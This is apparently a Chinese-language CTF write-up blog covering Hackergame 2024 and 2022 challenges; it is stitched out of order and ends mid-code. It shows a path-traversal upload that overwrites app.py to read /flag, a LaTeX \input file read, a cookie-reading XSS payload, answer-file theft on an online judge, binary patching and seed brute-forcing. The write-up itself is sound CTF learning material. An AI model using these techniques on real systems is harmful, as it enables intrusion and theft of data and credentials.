[0,3,5,11,149] r = remote('202.38.93.141', 10098) r.recvuntil(b'Please input your token: ') r.sendline(b'<token>') r.recvuntil(b'Enter difficulty level (1~4): ') r.sendline(str(SOLVE_DIIFFICULTY).encode()) q = r.recvline()[0:-1].decode() r.recvuntil(b'Enter your answer:') ans = solve(q, SOLVE_N[SOLVE_DIIFFICULTY]) r.sendline(ans.encode("utf-8")) res = r.recvline().decode() print(res)虽然跑起来慢了点，但还是够用的Impossible可惜我的电脑没有 10T 的内存，做不出来，过！")禁止内卷这道题观察题目源码可以知道，题目在允许上传文件的同时并没有对文件名做检查，因此在上传文件的时候可以通过在文件名上加 ../ 的方式把文件上传到任何地方。再加上题目很贴心的说了：而且有的时候助教想改改代码，又懒得手动重启，所以还开了 --reload 。因此就不难想出本体的解法就是去覆盖 app.py 这个文件了。在做的时候我原本的想法是想直接读取对应的 answer.json ，但不知道为什么，总是读不出来。于是改变思路，直接去用 shell 。最后修改的 app.py 是这样的（只展示了 submit 函数）：@app.route("/submit", methods=["POST"]) def submit(): if "file" not in request.files or request.files['file'].filename == "": flash("你忘了上传文件") return redirect("/") file = request.files['file'] filename = file.filename filepath = os.path.join(UPLOAD_DIR, filename) file.save(filepath) res = '' result = subprocess.run(['cat', '/flag'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) res += result.stdout flash("111" + res) return redirect("/")在上传的时候，不要忘了使用 Burpsplit 把文件名改成 ./../web/app.py。零知识数独没啥好说的，搜一个数独的在线求解器，做就是了。（只做出来这一问）先不说关于我从零开始独自在异世界转生成某大厂家的 LLM 龙猫女仆这件事可不可能这么离谱，发现 Hackergame 内容审查委员会忘记审查题目标题了ごめんね，以及「这么长都快赶上轻小说了真的不会影响用户体验吗🤣」「行吧就算标题可以很长但是 flag 一定要短点」这道题是有思路的，但可惜原本的思路因为前置知识不够跑不通，只好使笨方法了。先根据给出的文本根据常识填掉一些 x，之后把剩下的部分交给 ChatGPT，让 GPT 填上再排除掉一些不匹配的单词后，开始暴力搜。import re import hashlib orig = 'In the REPLACE1 REPLACE2 of Hackergame 2024, where the walls are lined with screens showing the latest exploits from the cyber world, contestants gathered in a frenzy, their eyes glued to the virtual exploits. The atmosphere was electric, with the smell of freshly brewed coffee mingling with the scent of burnt REPLACE3 REPLACE4. As the first challenge was announced, a REPLACE5 of hackers, dressed in lab coats and carrying laptops, sprinted to the nearest REPLACE6 REPLACE7, their faces a mix of excitement and determination. The game was on, and the stakes were high, with the ultimate prize being a golden trophy and the bragging rights to say they were the best at cracking codes and hacking systems in the land of the rising sun.' target = '809101c781f829a33021750de895b7f5130ba6c8f42862e955650dbf7f3c21d7' content = '' with open("ecdict.csv","r",encoding="utf-8") as f: content = f.read() res = [] p1 = r'(67(h|a|c|k|e|r|g|m){3}nd)' res.append(set([_[0] for _ in re.findall(p1, content)])) p2 = r'((h|a|c|k|e|r|g|m){2}ll)' res.append(set([_[0] for _ in re.findall(p2, content)])) p3 = r'(Et(h|a|c|k|e|r|g|m){3}n(h|a|c|k|e|r|g|m)t)' res.append([_[0] for _ in re.findall(p3, content)]) p4 = r'((h|a|c|k|e|r|g|m){2}bl(h|a|c|k|e|r|g|m)s)' res.append(set([_[0] for _ in re.findall(p4, content)])) p5 = r'(t(h|a|c|k|e|r|g|m){3})' res.append(set([_[0] for _ in re.findall(p5, content)])) p6 = r'(s(h|a|c|k|e|r|g|m){2}v(h|a|c|k|e|r|g|m){2})' res.append([_[0] for _ in re.findall(p6, content)]) p7 = r'((h|a|c|k|e|r|g|m)oo(h|a|c|k|e|r|g|m))' res.append([_[0] for _ in re.findall(p7, content)]) cnt = 0 for i0 in res[0]: for i1 in res[1]: for i2 in res[2]: for i3 in res[3]: for i4 in res[4]: for i5 in res[5]: for i6 in res[6]: replaced = orig replaced = replaced.replace('REPLACE1', i0) replaced = replaced.replace('REPLACE2', i1) replaced = replaced.replace('REPLACE3', i2) replaced = replaced.replace('REPLACE4', i3) replaced = replaced.replace('REPLACE5', i4) replaced = replaced.replace('REPLACE6', i5) replaced = replaced.replace('REPLACE7', i6) cnt += 1 sha256_hash = hashlib.sha256() sha256_hash.update(replaced.encode()) digest = sha256_hash.hexdigest() if digest == target: sha512_hash = hashlib.sha512() sha512_hash.update(replaced.encode()) digest512 = sha512_hash.hexdigest() print(digest512)「就算你把我说的话全出成题目也不会赢得我的好感的哼」虽然没做出来，但思路还是有点的。在大语言模型中，在输出的时候，一般都不是使用前面的 token 直接计算出下一个 token 是几的，而是对所有可能的结果输出一个概率，之后取概率最大的那个进行输出。因此虽然我们不知道原题目在输出的时候使用的 seed 是几，但一般情况下在一个 seed 的情况下输出的结果在其他的 seed 的时候概率也不会很低。我们就可以针对所有排名靠前的词语做一个 DFS，先拼进去，当遇到不是x的情况时，就去和题目给出的字符串比较，相同就继续，不同就倒回去重新做。但遗憾的是 ChatGPT 给我的代码跑出来不是我想要的结果，因此也就做不出来了。ZFS 文件恢复（没做出来）这道题算是让我拍大腿的一道题了（首先把题目给出的 img 文件直接拖到 16 进制编辑器中，不难找到和 flag 相关的这一段内容：从内容不难判断，只要构造一个跟两个文件的修改日期和最后访问日期的相关字符串，就可以计算得出本题的flag。因此，可以用不记得哪找的命令，得出所有块的日期相关。sudo zfs -ddddd hg2024 >> a.txt可惜的是，当时我都看到这两个文件了，但看见两个奇怪的修改日期，以为是什么其他的不想管的情况，就忽略了。（直到看见官方 WP：顿时就拍大腿了（当时做题的我还不知道官方已经贴心的做了防爆破处理，差点让我的电脑去爆破了（先是想着，用正则匹出来所有可能是时间戳的 16 进制字符串：content = '' with open('zfs.img', 'rb') as f: content = f.read().hex() p1 = r'((0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f){4}((17)|(18)|(19)|(1a)|(1b)|(1c)|(1d)|(1e)|(1f)|(20)|(21)|(22)|(23)|(24)|(25))67)' res = set([_[0] for _ in re.findall(p1, content)]) res2 = [] for item in res: res2.append(item[6]+item[7]+item[4]+item[5]+item[2]+item[3]+item[0]+item[1]) res = res2 print(len(res)) for item in res: print(item) print(int(item, 16)) for i in res: for j in res: for k in res: for l in res: s = 'hg2024_%s.%s_%s.%s_zfs' % (int(i, 16), int(j, 16), int(k, 16), int(l, 16)) sha256_hash = hashlib.sha256() sha256_hash.update(s.encode()) digest = sha256_hash.hexdigest() if digest == target: print(digest) print(s)最后更是直接爆破：s = 'hg2024_%s.%s_%s.%s_zfs' % (1729690642,1729690642,1729690642,1729690642) basetime = 1729690642 timerange = 250 for i in range(0, timerange): for j in range(0, timerange): for k in range(0, timerange): for l in range(0, timerange): s = 'hg2024_%s.%s_%s.%s_zfs' % (basetime+i+j, basetime+i, basetime+k+l, basetime+k) sha256_hash = hashlib.sha256() sha256_hash.update(s.encode()) digest = sha256_hash.hexdigest() if digest == target: print(digest) print(s)唉，不提了不提了后记没有后记（
前言算下来，今年已经是我第四次参加 hackergame 了，前几次参加做出来的题都不多，这次总算是勉强上榜了。所以来写个题解，混个脸熟（另：这次上榜后感谢各位大佬没有把我挤下去。能够上榜，填列其中，倍感荣幸（）题解（做出来的）签到解法一众所周知，签到题是一道手速题。只要我的手速够快，就可以在cpu反映过过来之前，在屏幕上写下 2022 四个数字，然后提交得到 flag。解法二然而很遗憾，我并没有那样的手速。不过没关系，我们在点击提交后可以看见我们写下的数字是通过 get 传参的，因此，只要把 result=2022 加在后面提交就可以获得 flag 了。http://202.38.93.111:12022/?result=2022猫咪问答喵Q1. 中国科学技术大学 NEBULA 战队（USTC NEBULA）是于何时成立的喵？搜索 NEBULA 战队（USTC NEBULA） 可以找到这么一个网站：点进去就可以看见成立日期为 2017-03 。Q2. 2022 年 9 月，中国科学技术大学学生 Linux 用户协会（LUG @ USTC）在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外，还有一些和技术相关的分会场（如闪电演讲 Lightning Talk）。其中在第一个闪电演讲主题里，主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图，请问这个 KDE 程序的名字是什么？搜索 Linux 用户协会（LUG @ USTC） 可以找到 自由软件日的介绍页面 ，继续浏览就可以看到题中 闪电演讲的 slides。根据第15张ppt配图中的 Configure Kdenlive 字样可以得出本体的答案就是 Kdenlive。Q3. 22 年坚持，小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么，在不变更系统配置和程序代码的前提下，Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少？提示：格式为 2 位数字的整数。搜索词条 forefox win2000 可以找到这样一篇文章：Firefox向Windows 2000, Windows XP RTM和SP1说再见 -36氪点进去就可以看到：Dotzler表示，今年6月5日的Firefox 12发布日期是Firefox支持这些老旧系统的最后期限。如果用户还不升级他们的系统，Opera将是Firefox的最佳替代方案。可以得知本题的答案是 12 。Q4. 你知道 PwnKit（CVE-2021-4034）喵？据可靠谣传，出题组的某位同学本来想出这样一道类似的题，但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵！那么，请找出在 Linux 内核 master 分支（torvalds/linux.git）下，首个变动此行为的 commit 的 hash 吧喵！提示：格式为 40 个字符长的 commit 的 SHA1 哈希值，字母小写，注意不是 merge commit。搜索关键词 linux kernel，可以找到 Linux 内核的 git 页面。之后在右上角的 log 搜索关键词 argc ，在得出的结果中进一步 ctrl+f 搜索 arg ，可以看到这样一条 commit： exec: Force single empty string when argv is empty看名字就知道可能是符合题意的答案。因此本题的答案就是 dcd46d897adb70d63e025f175a00a89797d31a43。Q6. 中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的？搜索关键词 中科大 网络通 可以找到 中国科学技术大学校园网用户服务页面。进一步点开 常见问题列表 后，可以看到：但提交后发现 2011年1月1日并不是本题的答案，因此推测在更早就已经是这个价格了。在 使用 Web Archive 无果后，直接进入 中科大网络信息中心的新闻公告页面。终于在第18页翻到了 关于实行新的网络费用分担办法的通知 这篇文章。点进去后看到：各单位： 为充分发挥网络资源在教学、科研和管理工作中的作用，根据中国科学院、中国教育和科研计算机网有关网络费用分担的原则和办法，参照学校与有关通信公司签订的协议和兄弟院校的做法，结合我校具体情况，决定自2011年1月1日起实行新的网络运行及通信费用分担办法。总的原则是降低费率、鼓励使用、合理分担、促进发展。同时网字〔2003〕1号《关于实行新的网络费用分担办法的通知》终止实行。 特此通知。然后再搜索 〔2003〕1号《关于实行新的网络费用分担办法的通知》 ，找到 这个页面 由此得到本题的答案是 2003-01-01 。### Q5. 通过监视猫咪在键盘上看似乱踩的故意行为，不出所料发现其秘密连上了一个 ssh 服务器，终端显示 ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.，你知道猫咪在连接什么域名吗？提示：填写形如 example.com 的二级域名，答案中不同的字母有 6 个。这题不会了QAQ。看了下题解的确是自己的搜索姿势不对没能想到还有用公钥反查服务器的网站了。自己甚至为此写了个脚本把所有的开着22端口的3个字母的域名都扫了一遍，可惜脚本出了bug，导致没能扫到本题的答案，因此这道题就只拿了一半的分。家目录里的秘密第一问首先，把题中的压缩包下下来解压后，直接全文搜索 flag ，就可以找到 user/.config/Code/User/History/2f23f721/DUGV.c 这个文件。打开后就可以看到文件的开头：// // ramdisk that uses the disk image loaded by qemu -initrd fs.img // // flag{finding_everything_through_vscode_config_file_932rjdakd}从而拿到flag。第二问第二问，既然题目提及了是 Rclone 相关，那就找与 Rclone 相关的文件就行了。然后把目录翻了一遍，发现只有 user/.config/rclone/rclone.conf 这个文件比较可以，打开看看：[flag2] type = ftp host = ftp.example.com user = user pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQflag 的字样都贴到脸上了捏。ftp.example.com 显然是没什么用了，而 user 这个用户名我犹豫了一会，最后发现也没什么用。所以答案应该就在 pass 里了。自己装了个Rclone，然后添加了个 ftp 服务器，发现 pass 就是对输入密码的加密。然后搜索关键字 rclone password retrive 可以找到 Is it possible to retrieve my Crypt passwords from the rclone.conf file? 这个网页。根据下面回答的提示，可以找到 rclone 密码的加密解密的算法。我的本地虽然没有 go 的运行环境，不过只要随便找个 在线 go 语言运行环境 就可以了。简单修改一下原来的源码，再运行，就可以得到flag了。package main import ( "fmt" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" ) func main() { fmt.Println(Reveal("tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ")) } var ( cryptKey = []byte{ 0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d, 0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b, 0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb, 0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38, } cryptBlock cipher.Block cryptRand = rand.Reader ) func crypt(out, in, iv []byte) error { if cryptBlock == nil { var err error cryptBlock, err = aes.NewCipher(cryptKey) if err != nil { return err } } stream := cipher.NewCTR(cryptBlock, iv) stream.XORKeyStream(out, in) return nil } func Reveal(x string) (string) { ciphertext, err := base64.RawURLEncoding.DecodeString(x) buf := ciphertext[aes.BlockSize:] iv := ciphertext[:aes.BlockSize] crypt(buf, buf, iv) _ = err return string(buf) }HeiLang解法一直接使用 来自 Heicore 社区的新一代编程语言 HeiLang 的解释器运行源码，得到 flag。解法二可以我没有 来自 Heicore 社区的新一代编程语言 HeiLang，所以得换其他的方法了。于是，我们对原来的脚本进行一些修改。首先，我们把中间的数组操作部分全部转换成字符串：a = [0] * 10000 b = ''' a[1225 | 2381 | 2956 | 3380 | 3441 | 4073 | 4090 | 4439 | 5883 | 6253 | 7683 | 8231 | 9933] = 978 ...... a[92 | 377 | 384 | 493 | 1237 | 2479 | 4299 | 6702 | 6819 | 7761 | 7822 | 8777 | 8779] = 581 '''之后，再把 main 部分改成：import re def s2n(x): return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)] if __name__ == "__main__": c = b.strip().split('\n') for line in c: numlist = s2n(line) val = numlist[-1] numlist.pop() for pos in numlist: a[pos] = val get_flag(a)运行，即可得到 flag。Xcaptcha解法一找一个真正的 robot ，为我们完成验证。解法二然而可惜我并没有这么一个机器人朋友。不管了，作为突击队中唯一的黑客，全村人民最后的希望，开冲！首先点开 f12，阻塞住自动请求，观察一下页面：发现题目都在页面中的 3 个 form-group 里。因此，我们可以编写下面的脚本：let a = document.getElementsByClassName("form-group"); let b = Array.prototype.slice.call(a); b.forEach((c)=>{ d = c.innerHTML.match(/(\d*\+\d*)/)[0].split('+'); d[0] += 'n'; d[1] += 'n'; e = eval(d[0] + '+' + d[1]).toString(); c.childNodes[3].value = e; }); document.getElementById('submit').click();之后点开 f12 的 console，点击验证，再以顺雷不及掩耳盗铃之势，把上面的脚本粘贴在 f12 内，并按下回车，得到 flag。旅行照片 2.0照片分析随便百度一个 EXIF 查看工具，把照片粘贴进去，就能得到所有需要的答案。社工实践在照片中能够看见一个圆形的标志建筑物。继续放大，能依稀看见 zozo，stdium 字样。bing搜索这两个关键词，就可以知道，这是日本千叶县的一个体育管。这里有一个小坑，当时我以为拍照的地方离这个体育馆应该不远，所以邮政编码应该也一样，但实际上他们的邮政编码是不一样的，还得要去查。（邮编从照片可以看出，作者是在一个高处去俯拍这招照片的，所以猜测作者应该在这附近的一个酒店内。继续查找附近的酒店，可以看见附近有这些酒店：进一步排除，可以知道应该是在这个酒店，继而得到邮编。手机分辨率重新查看这张照片的 EXIF 信息，可以得知拍摄手机的 soc 为 sm6115，搜索这个 soc，可以得到他是 高通骁龙662，这个 soc。然后继续搜索，可以搜到 红米 Note9 4G 版，骁龙662，不打游戏，只社交看视频刷短视频看新闻日常使用，能流畅用3年吗？。根据下面答主的附图，可以看到这个手机和照片中反射出的手机长得非常像，可以确定应该大概就是这个型号了。再去 搜索这个型号的手机，就可以得到这个手机的屏幕分辨率了。航班信息根据前面的分析，我们能知道照片中的航班飞行的时间和地点。根据这些信息，我们就能在 FR24 这么个网站中查询某时某刻在某地飞行的航班的信息了。在白嫖了个 FR24 的账号后，我们就可以开始查询了。需要注意的是，照片中 EXIF 中的时间是日本的当地时间，而 FR24 中的时间线是 UTC0 的时间。日本的时差是+9，因此把照片里的时间减去9个小时，就得到了在 FR24 中的时间。而对于位置，从照片中我们能看出，在拍照的时候，作者所在的酒店，照片中的体育馆和飞机大体是在一条直线上的。结合照片中的方向，我们就能知道要找到航班大概是在地图中体育馆正西方位往正北飞行的航班。根据这些信息，我们就能筛选出这题的答案了。小彩蛋原本这道题我虽然有了大概的思路，但航班信息我即不知道要去哪里收也不想花钱买数据库。直到我看见了。。。感谢这位大佬的提示，我也是看了他的id后打起鼓起去 FR24 注册了账号然后解出了这道题。另：各位读者若有跟我一样解法的也别忘了取消下订阅，一个月几美元也还是挺贵的。猜数字解法一题目要求猜一个0到1的数，精确到6位小数。因此我们只需要随便输一个数字。平均下来只需要猜1000000次就可以一次猜中啦！解法二但很遗憾，像我这种抽卡都抽了7，80抽还要大保底才能出货的人，解法一实在是不适合我。看来还是得另寻他法。查看题目的源码，可以看到题目中判断有没有输对并返回flag的地方是在这里： // </talented> if (this.previous.isPresent()) { // <guess> var previous = this.previous.getAsDouble(); var isLess = previous < this.number - 1e-6 / 2; var isMore = previous > this.number + 1e-6 / 2; writer.writeStartElement("guess"); writer.writeAttribute("less", Boolean.toString(isLess)); writer.writeAttribute("more", Boolean.toString(isMore)); writer.writeCharacters(Double.toString(previous)); writer.writeEndElement(); // </guess> } if (this.talented > 0) { // <flag> writer.writeStartElement("flag"); writer.writeCharacters(this.token.flag()); writer.writeEndElement(); // </flag> } writer.writeEndElement(); // </state>可以看到源码的基本逻辑是判断答案是否比下限小和答案是否比上限大。如果两个都是 False，则返回 flag。然后这题的解题点就在于，并非我们只有填入比下限大的数才能得到 False。在不少语言中，如果在比较的时候传入了两个不同类型的参数，也会返回一个和 False 差不多的东西。因此，我们只需要随便给他传个不是数字的东西，他就能得到 False，然后得到答案。但是网页中的输入框我们只能输入数字，因此就需要做一些修改了。点开 F12，可以看到网页的 DOM：我们把第一个 input 框的 type 改为 type="text，然后把她的 oninput 删掉。再把第二个 input 框的 disable 删去。再之后，我们只需要脸滚键盘，然后点提交，就可以得到 flag 了。LaTeX 机器人纯文本下载题目中的附件，可以知道这道题是用 TexLive 这个工具进行 latex 的渲染的。虽然我并没有使用过 texlive，不过 latex 的语法我还是懂一些的。首先，题目给出了 flag 文件的储存位置，因此猜测 latex 语法中应该存在类似读取文件的函数的东西。在进行一番搜索后，果然发现 latex 里有 \input{} 可以读取本地文件。因此可以构造以下的 payload：\input{/flag1}得到 flag。当然，要是觉得花体字不得看的话，也可以使用下面的 payload，可以看的更清楚一些。$$\input{/flag1}$$只要记得提交 flag 的时候别忘了加上 {} 就行了。特殊字符混入第二问和第一问基本差不多，不过不同的是第二问的 flag 中有一些特殊字符。而 latex 中的 \input{} 宏是类似于 c 语言中的 #define，做的是类似于字符串替换的工作，因此遇到 _ 和 # 这样的特殊字符就会报错。在 latex 中， # 这个字符的作用是在宏定义中作为形参使用。所以我最开始的想法就是自己定义一个函数，然后拿flag中的 # 和后面的字符当作形参，然后传入不同的参数，观察字符串替换的情况来反推flag。不过很可惜的是，在 latex 中定义函数时最多只能有9个形参，以在 # 后加数字 1-9 来表示，而本题中的 flag 显然是不满足这个要求的，因此只能换一种方法。继续搜索，我发现了 \@ifnextchar 这个宏。他能够在使用的时候对后面以恶搞字符进行判断。根据后面字符的不同，可以输出不同的内容。因此想到可以用这种办法把 flag 中的 # 换成其他的内容，然后再来确定flag。不过很遗憾的是，这种方法也是不能奏效的。在 latex 中， # 是一个特殊的字符，是不可以直接用作参数的。除非在使用的时候在前面加上 \。但如果这样的话，在 flag 中也比如遇到 \# 这样的形式才能进行替换。因此这种方法也不可行。不过虽然这种方法也不可行。不过在观察 \@ifnextchar 的使用的时候可以发现，在 latex 中 @ 也是一个特殊的字符，是不可以用作宏的名称的。而在我们定义的时候，会在前面加上一句 \makeatother。这个宏可以临时的把 @ 这个字符转换成一个普通的字符，从而可以被定义为宏的名称。那么继续思考，我们能否把题目中的 _ 和 # 也转换成普通的字符从而使他们可以被输出呢？答案是肯定的。通过进一步的搜索，我们能在 wiki 中找到 关于 catcode 的介绍。里面介绍了 latex 中各种字符的 catcode 和他们的作用。并且给出了改变 @ 这个字符的 catcode 的示例：\catcode`\@=11事实上，前面的 \makeatother 也是和这句话等价的。因此我们就可以通过类似的方法，改变 _ 和 # 的 catcode，从而使他们能够被输出：\catcode`\_=11 \catcode`\#=11 \input{/flag2}点击提交，就可以看到flag了。Flag 的痕迹这道题，观察题目的描述，就可以知道应该是要我们去寻找 dokuwiki 的漏洞了。简单尝试一下，就可以看见题目关闭了 reversion 的功能。继续尝试也想不出来解法后，我就自己也搭了一个 dokuwiki ，试试能不能复现一下。在我自己搭建的 dokuwiki 中，能看见 reversion 功能是能够正常使用的。不过如果直接把后面的 get 的参数传给题目中的话，还是会报错。不过继续观察，我们能看见 dokuwiki 还有比较两个版本的差异的功能。点进去后还能在右上角看见 Link to this comparison view 这样的字样。这样的话提示就比较明显了。我们把链接复制下来：https://xxx/doku/dokuwiki/doku.php?id=start&do=diff&rev2%5B0%5D=1666694430&rev2%5B1%5D=1666694440&difftype=sidebyside可以看到逻辑还是比较明显的。id 是页面的名称，do 就是我们的比较差异功能，difftype 就是把两个版本列到两边，进行比较，而两个 rev 自然就是要比较的两个版本的发布时间了。链接要求我们输入的时间是一个精确到秒的 unix 时间戳，而在题目页面右下角只要一个精确到分钟的修改时间。我原本还以为这里得暴力遍历一下所有的可能，不过后来发现想多了， rev 的地方随便传参都可以的。即使我传了一个不存在的参数，他也只是没有正文，我们还是可以通过左上角选择对应的条目，获取 flag。安全的在线测评无法 AC 的题目解法一虽然题目有说当然，因为目前 OJ 只能运行 C 语言代码，即使请来一位少年班学院的天才恐怕也无济于事。但是这就能难得住我们吗？我们可以直接找到这样一个少年班学院的天才，通过意识上传，把他的大脑思维用 c 语言写出来，然后上传，就可以让他帮我解题了（解法二咳咳咳，通过观察题目给出的源码我们可以发现，这道题的判题逻辑就是接收我们给出的 c 语言代码，然后执行，在通过和本地数据的对比，判断是否正确。而全程中并没有对我们的输入做任何限制。因此我们只需要上传一个能读取文件的程序把标准答案读取并输出就行了。#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> int main() { const char* filename = "./data/static.out"; FILE* input_file = fopen(filename, "r"); struct stat sb; stat(filename, &sb); char* file_contents = malloc(sb.st_size); fread(file_contents, sb.st_size, 1, input_file); printf("%s\n", file_contents); fclose(input_file); free(file_contents); return 0; }粘贴并回车 即可拿到 flag1。线路板这道题，下载下来题目中的附件后，可以看到，，，嗯，又是个我不懂的文件格式呢（（于是我甚至为此下了个 altium designer 来作题，但做到最后发现根本不需要）我们可以继续观察压缩包里的文件。其中有个很大的 ebaz_sdr-F_Cu.gbr，通过观察，可以确定我们要找到 flag 应该就在这个文件里了。然后就是，直接用记事本打开这个文件，就可以看到，这个文件格式其实就是用一些文字来描述最后的形状的文件。有点类似矢量图的感觉。因此，我们就可以一行一行的把里面的字全删掉。直到我把他删的只剩400行左右的时候，终于能在 al 里看见 flag 了。Flag 自动机然后是这么一道逆向题。打开题目的附件，会发现鼠标一挪到 狠心夺取 键上时，按钮就会乱跑。无奈，我只能拿出我尘封已久的 ida，重新去学一下这玩意要怎么用了。不过好在，这道题对逆向知识的要求并不高。打开 IDA，打开刚才的文件，然后按 F5 反编译，就可以看到 IDA 已经把这个文件的逻辑比较清楚的展现出来了。进一步查看就可以看到 pfnSubclass 这个非常可疑的函数了。点开一看就很清楚了。虽然我并不了解 Win32 API，但这个代码肯定都能看出来就是当鼠标滑过按钮的时候自动重设按钮的位置的逻辑了。而那个 512 应该就是代指着鼠标滑过按钮的事件了。因此，直接把他修改为其他的值：512 的16进制为 0x200。因此，虽然还不太清楚这里是大端排序还是小端排序，但把这个 20 改掉总是没问题的。我们直接把他改为 0xff，然后Patch 掉。不过即使如此，我再打开文件之后，虽然这次按钮不会乱跑了，他还是报错：怎会如此！难道这还需要我的管理员权限吗？我国在我之后多次尝试用管理员权限打开或者修改文件的权限后，我发现我可能还是想多了。接着看代码吧。还是回到之前的反汇编界面，这次我们重点看 WndClass.lpfnWndProc = sub_401510; 的这个函数。然后可以看到，这 flag 的字符串都出现了，所以不出意外的话一ing该就是这里了。之后看到第19行，他会要求 lParam 这个参数等于 114514，否则就不会给我们 flag。然而这个程序如果正常运行，怎么看也穿不进来这么臭的参数。因此决定把这个地方也 patch 掉。这里回到汇编界面，可以看到下图绿色的部分就是刚才的判断那里的逻辑了。这里为了方便，我就直接把 jz 改成了 jnz，就相当于把 if 改成了 if not。然后再 Patch，运行！就可以拿到 flag 了。微积分计算小练习这道题，初看是一道微积分的计算题。不过 当我把微积分题目都做完后，才发现事实并没有那么简单。做题，提交后：（此处应有掀桌表情包）我的 Flag 呢？！只能去翻源码了。看完源码后才发现题目根本没想把 flag 输出给我。不过，继续看源码，就会发现这样一段代码：print(' Putting secret flag...') driver.execute_script(f'document.cookie="flag={FLAG}"') time.sleep(1)这样的代码就显得很做作啊，没事把 flag 往 cookie 里放干什么呢？这不明摆着是要我们 XSS 嘛。因此，可以构造这样一个名称： 为了防止网页没加载完成，我还特意让他等了1秒再执行。不过，执行之后会发现，和之前相比，并没有什么变化。这是因为，现在的浏览器一般都有一些防 XSS 攻击的手段。在成绩页面中，是这么展示用户的名称和成绩的：const queryString = window.location.search; const urlParams = new URLSearchParams(queryString); const result = urlParams.get('result'); const b64decode = atob(result); const colon = b64decode.indexOf(":"); const score = b64decode.substring(0, colon); const username = b64decode.substring(colon + 1); document.querySelector("#greeting").innerHTML = "您好，" + username + "！"; document.querySelector("#score").innerHTML = "您在练习中获得的分数为 " + score + "/100。";而在浏览器中，通过修改 innerHTML 加载的 js 代码是不会被执行的。不过，继续查阅资料，得知我们还有其他的方法可以达成同样的效果。比如使用 img 标签的 onerror 方法： {document.querySelector('#score').textContent+=document.cookie;},1000);">提交后得到查询成绩的 URL，然后再进行提交，就可以拿到 flag 了。蒙特卡罗轮盘赌这道题其实和上面的猜数字差不多。因此解法也差不多，都得从源码上入手。当然，要是你是一个欧皇，直接上去硬猜也不是不可以（）srand((unsigned)time(0) + clock());通过观察源码可以发现，题目中的随机数就来自于这个种子的设定了。只要知道种子，后面各个问题的答案就都可以被反推出来。而代码中的 time(0) 是一个获取当前的 unix 时间戳的函数。而后面的 clock() 则是一个返回当前的CPU周期数的一个函数，这个就不太好猜了。不过没关系，我们直接打印一下试试看：printf("%d\n", clock()); srand((unsigned)time(0) + clock()); printf("%d\n", clock());虽然代码的编译过程可能会遇到一点小报错，但这并不影响我们发现，毕竟这个 clock() 的执行比较早，所以他也就是个1000不到的数量级。在这个数量级下，想要穷举也不是什么特别难的事情：#include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> double rand01() { return (double)rand() / RAND_MAX; } int main() { // disable buffering setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); srand((unsigned)time(0) + clock()); int nowtime = time(0); for(int i = 0; i < 1000; i += 1){ srand(nowtime+i); printf("cnt: %d. ", nowtime+i); for (int j = 0; j < 4; j += 1) { int M = 0; int N = 400000; for (int k = 0; k < N; k++) { double x = rand01(); double y = rand01(); if (x*x + y*y < 1) M++; } double pi = (double)M / N * 4; printf("%1.5f ", pi); } printf("\n"); } return 0; } 用这种方法穷举出来一定范围内所有随机数种子对应的答案。然后进入题目，第一次猜测随便输入答案即可。在打错并知道第一次的正确答案后，就可以在刚才的程序中寻找第一次的答案是刚才的输出的那行，然后再依次输入后面的答案，就可以拿到 flag 了。惜字如金惜字如金化标准这道题还是，先根据题目要求把对应的脚本下载下来。在经过简单的 debug 改掉不能正常运行的函数之后，就可以看出题目的意图了。观察可以发现这道题最主要的地方就是下面这几句了：# import secret secret = b'ustc.edu.cn' check_equals(len(secret), 39) # check secret hash secret_sha384 = 'ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47f' +\ 'a170f33d53bc62074271866a4e4d1325dc27f644fdad' check_equals(sha384(secret).hexdigest(), secret_sha384) # generat th signatur return digest(secret, f.read(), sha384)从上面的代码片段不难看出，我们需要找到一个 secret 使他的 hash 的结果正好是下面给出的结果。然而无论是代码中的 secret，还是 secret_sha384，都是经过惜字如金化的，所以不能直接使用。我们得想办法把他们还原。对于 secret，由题目中的题意可以得知：第一原则（又称 creat 原则）：如单词最后一个字母为「e」或「E」，且该字母的上一个字母为辅音字母，则该字母予以删除。第二原则（又称 referer 原则）：如单词中存在一串全部由完全相同（忽略大小写）的辅音字母组成的子串，则该子串仅保留第一个字母。因此，要想穷举可能的原字符串，也可以：对于每个元音字母和非字母字符，其后面不可以添加新的字符对于每个辅音字母，其后面可以添加任意数量个自己以及其中一个元音字母或什么都不加。根据这两条规则，就可以写出在题目中给出的只剩下11个字符的 secret 的每个位置的所有可能增加字符的可能性：secret = ['u','s','t','c','.','e','d','u','.','c','n'] fu = ['', 'a', 'e', 'i', 'o', 'u'] p = [ [], # u [['s'] * i for i in range(29)], # s [['t'] * i for i in range(29)], # t [(['c'] * i) + [fu[j]] for i in range(29) for j in range(6)], # aeiou [], # . [], # e [['d'] * i for i in range(29)], # d [], # u [], # . [['c'] * i for i in range(29)], # c [(['n'] * i) + [fu[j]] for i in range(29) for j in range(6)], # aeiou ]然后就可以进行遍历：for i1 in 